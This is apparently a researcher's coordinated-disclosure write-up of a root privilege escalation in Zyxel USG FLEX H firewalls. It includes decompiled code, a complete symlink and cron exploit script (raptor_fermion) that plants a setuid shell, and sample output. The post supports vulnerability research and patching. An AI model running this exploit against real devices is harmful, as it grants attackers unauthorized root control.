Local privilege escalation on Zyxel USG FLEX H Series (CVE-2025-1731)

“So we wait, this is our labour… we wait.”
— Anthony Swofford on fuzzing

TL;DR

The Zyxel USG FLEX H Series is a high-performance firewall series designed to meet the needs of demanding and high-speed networks. It offers faster boot times and improved CPU performance, making it superior to the standard USG FLEX Series.

I’ve identified some security vulnerabilities in the Zyxel uOS Linux-based operating system distributed with these appliances, that allow local users with access to a Linux OS shell to escalate privileges to root. They were collectively assigned CVE-2025-1731 (see below for additional details).

The full advisory and proof-of-concept exploit are available on GitHub:

Zyxel’s official advisory and patches can be found at the following links:

This research is the result of a collaboration with Alessandro Sgreccia of HackerHood. See also his advisory at:

Background

Because of my previous research on Zyxel appliances, after discovering a remote command execution vulnerability in the latest USG FLEX H Series (CVE-2025-1731), Alessandro Sgreccia contacted me to ask for help with finding local privilege escalation vectors.

The prestigious Certificate of Recognition I got for my 2022 research on Zyxel devices

Since USG FLEX H Series devices are based on a new AArch64 hardware and ship with a completely revamped Linux-based operating system (Zyxel uOS) that is supposed to be “secure by default” (a claim reminiscent of Oracle’s “unbreakable” marketing campaign in the days of yore), I couldn’t resist giving it a try… I quickly identified a viable privilege escalation vector related to the Recovery Manager functionality (CVE-2025-1732) that was reported to the vendor by Alessandro together with his other findings.

However, I wasn’t done yet. Since Alessandro kindly provided an access to his USG FLEX 100H test device, I decided to keep looking for some other low-hanging fruits, as an excuse to battle-test my new vulnerability divination suite written in Rust. I started by examining setuid root binaries distributed with the OS.

Vulnerabilities

The custom setuid root binary program /usr/sbin/fermion-wrapper follows symbolic links in the /tmp directory when run with the register-status argument. This allows local users with access to a Linux OS shell to trick the program into creating writable files at arbitrary locations in the filesystem. This vulnerability can be exploited to overwrite arbitrary files or locally escalate privileges from low-privileged user (e.g., postgres) to root.

In addition, I identified a second issue in the filesystem: the /tmp directory doesn’t have the sticky bit set. This small, overlooked detail simplifies exploitation of the fermion-wrapper vulnerability and may also open the door to all sorts of havoc.

Analysis

I leveraged my haruspex and oneiromancer tools to streamline the binary audit workflow:

raptor@fnord Downloads % haruspex fermion-wrapper
haruspex 0.4.1 - Tool to extract IDA decompiler's pseudo-code
Copyright (c) 2024-2025 Marco Ivaldi <raptor@0xdeadbeef.info>

[*] Trying to analyze binary file "fermion-wrapper"
[+] Successfully analyzed binary file

[-] Processor: ARM Little-endian
[-] Compiler: GNU
[-] File type: ELF

[*] Preparing output directory "fermion-wrapper.dec"
[+] Output directory is ready

[*] Extracting pseudo-code of functions...

...

[+] Decompiled 98 functions into "fermion-wrapper.dec"
[+] Done processing binary file "fermion-wrapper"

raptor@fnord Downloads % oneiromancer fermion-wrapper.dec/sub_4068AC@4068AC.c
oneiromancer 0.3.0 - GenAI assistant for C code analysis
Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>

[*] Analyzing source code in "fermion-wrapper.dec/sub_4068AC@4068AC.c"
[+] Successfully analyzed source code

/*
 * getDeviceRegistrationStatus()
 *
 * This function retrieves the registration status of a device and stores
 * it in provided pointers. It uses cURL to make an HTTP request to a
 * specific URL with various options set for authentication and certificate
 * verification. The response is parsed using JSON to extract relevant
 * information about the device's registration status. If successful,
 * it updates cache files and performs additional actions based on the
 * registration status.
 */

...

[*] Saving improved source code in "fermion-wrapper.dec/sub_4068AC@4068AC.out.c"
[+] Done analyzing source code

raptor@fnord Downloads %

I ended up with the following relevant pseudo-code for the sub_4068AC function, that is called directly by main:

__int64 __fastcall sub_4068AC(_DWORD *isRegistered, _DWORD *isNeoAgentRegistered, _DWORD *bundleLicenseStatus)
{
...
  requestUrl = "https://he.myzyxel.com/v1/device/status";
  jsonData = 0LL;
  operationResult = -1;
  statusCheckResult = 7;
  if ( geteuid() )
    sub_4072FC("/usr/bin/sudo", "/usr/bin/sudo", "/usr/bin/touch");
  bufferSize = sub_4067DC(deviceName, 20);
  curlHandle = curl_easy_init(bufferSize);
  if ( curlHandle )
  {
    bioMemHandle = BIO_s_mem();
    bioHandle = BIO_new(bioMemHandle);
    if ( bioHandle )
    {
...
      errorCode = curl_easy_perform(curlHandle);
      if ( !errorCode )
      {
        jsonData = (unsigned __int64 *)json_load_callback(sub_406878, bioHandle, 0LL, &jsonDataPointer);
        if ( jsonData )
        {
          statusValue = (_DWORD *)json_object_get(jsonData, "register");
...
          if ( !operationResult )
          {
            statusCheckResult = 0;
            statusCode = 2 * (2 * *isRegistered + *isNeoAgentRegistered) + *bundleLicenseStatus;
            fileStream = fopen("/share/neoagent/cache_register_status", "w");
            if ( fileStream )
            {
              fprintf(fileStream, "%s\n", deviceName);
              fprintf(fileStream, "%d\n", statusCode);
              fclose(fileStream);
            }
            fileStream = fopen("/tmp/register_status", "w"); // VULN
            if ( fileStream )
            {
              fprintf(fileStream, "%s\n", deviceName);
              fprintf(fileStream, "%d\n", statusCode);
              fclose(fileStream);
            }
            sub_406518(statusCheckResult, deviceName, errorCode);
            if ( !access("/usr/sbin/dha_send_fsync", 0) )
            {
              sub_4072FC("/usr/sbin/build_dha_cert_neoagent.sh", "/usr/sbin/build_dha_cert_neoagent.sh", 0LL);
              sub_4072FC("/usr/sbin/dha_send_fsync", "/usr/sbin/dha_send_fsync", "8");
            }
          }
...

Unsurprisingly, the vulnerability lies at the highlighted line marked with VULN 🙄 The binary running with elevated privileges can be tricked into following a symbolic link placed in /tmp/register_status by a local low-privileged user.

As mentioned earlier, exploitation is simplified by the lack of sticky bit in the filesystem permissions of the /tmp directory. This allows an attacker to replace any existent /tmp/register_status file even if it’s owned by another user, including root:

$ ls -ld /tmp
drwxrwxrwx 30 root root 2240 Feb 27 18:16 /tmp # ¯\_(ツ)_/¯

Exploitation

I’ve crafted a proof-of-concept exploit that demonstrates how to achieve local privilege escalation. You can use it as follows:

$ ./raptor_fermion
raptor_fermion - Zyxel fermion-wrapper root LPE exploit
Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>

[*] Exploiting /usr/sbin/fermion-wrapper
$ uname -a
Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
$ id
uid=502(postgres) gid=502(postgres) groups=502(postgres)
$ ls -l /usr/sbin/fermion-wrapper
-rwsr-xr-x 1 root root 44288 Jan  9 05:34 /usr/sbin/fermion-wrapper
{"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}

[+] Everything looks good \o/, wait an hour and check /tmp/pwned
$ ls -l /etc/cron.d/runme
-rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
$ cat /etc/cron.d/runme
* * * * *   cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme

[+] Run the shell as follows to bypass bash checks: /tmp/pwned -p

[about one hour later...]

$ ls -l /tmp/pwned
-rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
$ /tmp/pwned -p
# id
uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
# R00t D4nc3!!!111! \o/

Here’s a screenshot for your viewing pleasure:

And here’s the exploit code:

#!/bin/sh

echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
echo "Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

target="/usr/sbin/fermion-wrapper"
tmpfile="/tmp/register_status"
runme="/etc/cron.d/runme"
shell="/tmp/pwned"

echo "[*] Exploiting $target"
echo "$ uname -a"
uname -a
echo "$ id"
id
echo "$ ls -l $target"
ls -l $target

umask 0
rm $tmpfile
ln -s $runme /tmp/register_status
$target register-status
echo "* * * * *   cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme

if [ "`cat $runme 2>/dev/null`" = "" ]; then
        echo "[!] Error: something went wrong ¯\\_(ツ)_/¯"
        exit 1
fi

echo
echo "[+] Everything looks good \\o/, wait an hour and check $shell"
echo "$ ls -l $runme"
ls -l $runme
echo "$ cat $runme"
cat $runme

echo
echo "[+] Run the shell as follows to bypass bash checks: $shell -p"
echo

It should be straightforward to understand. Note how I pulled off the old-school umask 0 trick (see the highlighted line above) to be able to control the content of the file created by the vulnerable setuid binary.

Also note how for some reason files in /etc/cron.d get processed every 50 minutes or so, instead of almost instantly as it happens on a standard Linux distribution… I leave the quest of looking for a better exploitation vector as an exercise for you, dear reader 😉

Affected products

I confirmed the vulnerabilities in the following products and firmware versions:

  • Zyxel USG FLEX 100H with Firmware Version 1.31(ABXF.0)
  • Zyxel USG FLEX 200H with Firmware Version 1.31(ABWV.0)

Other products and earlier firmware versions may also be vulnerable. Please refer to Zyxel’s official security advisory for additional information.

Remediation

During the whole coordinated disclosure process, Zyxel was very responsive.

Unfortunately, despite my objections they insisted in using the already-assigned CVE-2025-1731 as the identifier for my local privilege escalation vulnerability. These are their statements in this regard:

“Our product team has identified that the attack surface of the local privileges escalation issue stems from an incorrect permission assignment within the PostgreSQL commands. This misconfiguration grants users with ‘postgres’ privileges the ability to access the Linux shell. A similar issue was recently reported by another researcher, and CVE-2025-1731 has been reserved to identify the vulnerability.”

“We kindly request any evidence demonstrating an alternative method to access the device’s Linux shell for executing the malicious scripts or the PoC exploit, ‘raptor_fermion,’ that you previously shared. If such evidence is unavailable, we will proceed with using CVE-2025-1731 as the identifier for this issue.”

“We could not identify any explicit evidence in your report that demonstrates an alternative method distinct from CVE-2025-1731 that would allow attackers to gain access to the Linux shell. Consequently, we have decided not to assign a separate CVE ID to the local privilege escalation issue, as it aligns with the attack surface of CVE-2025-1731. Nevertheless, we appreciate your finding and will ensure it is acknowledged in CVE-2025-1731.”

I regret any confusion caused by this decision.

As for the lack of sticky bit in the /tmp directory, Zyxel stated the following:

“We currently do not consider this a security issue. However, we are open to reevaluating if you can provide a clear example demonstrating how it could result in a denial of service (DoS) problem. Otherwise, we will treat this as an implementation flaw rather than a vulnerability.”

Please refer to Zyxel’s official security advisory for patching information. I have not checked the effectiveness of the fixes.

Disclosure timeline

The coordinated disclosure timeline follows:

  • 2025-02-05: Alessandro Sgreccia contacted us to propose a collaboration.
  • 2025-03-10: Zyxel PSIRT was notified via <security@zyxel.com.tw> and acknowledged receipt of our advisory and PoC exploit.
  • 2025-03-17: Zyxel PSIRT communicated their intention of using the already-assigned CVE-2025-1731 as the identifier for our local privilege escalation vulnerability.
  • 2025-03-17: We disagreed with Zyxel PSIRT and explained that using an unrelated CVE identifier for our issues would likely cause confusion.
  • 2025-03-18: Zyxel PSIRT confirmed their decision of not assigning a separate CVE ID to the local privilege escalation issue; they also stated that they don’t consider the lack of sticky bit in /tmp a security issue, but simply an implementation flaw.
  • 2025-04-15: Zyxel released version 1.32 of its firmware that includes fixes for the reported vulnerabilities.
  • 2025-04-22: Zyxel PSIRT published their security advisory.
  • 2025-02-22: Alessandro Sgreccia published his security advisory.
  • 2025-04-23: We published our own advisory with full details.

Acknowledgments

I’d like to thank Alessandro Sgreccia of HackerHood for involving me in his research and for kindly providing access to his USG FLEX 100H test device. I’ve been on a break from vulnerability research and I was a bit rusty (pun intended), therefore this was a welcome diversion. It’s been a real pleasure working together!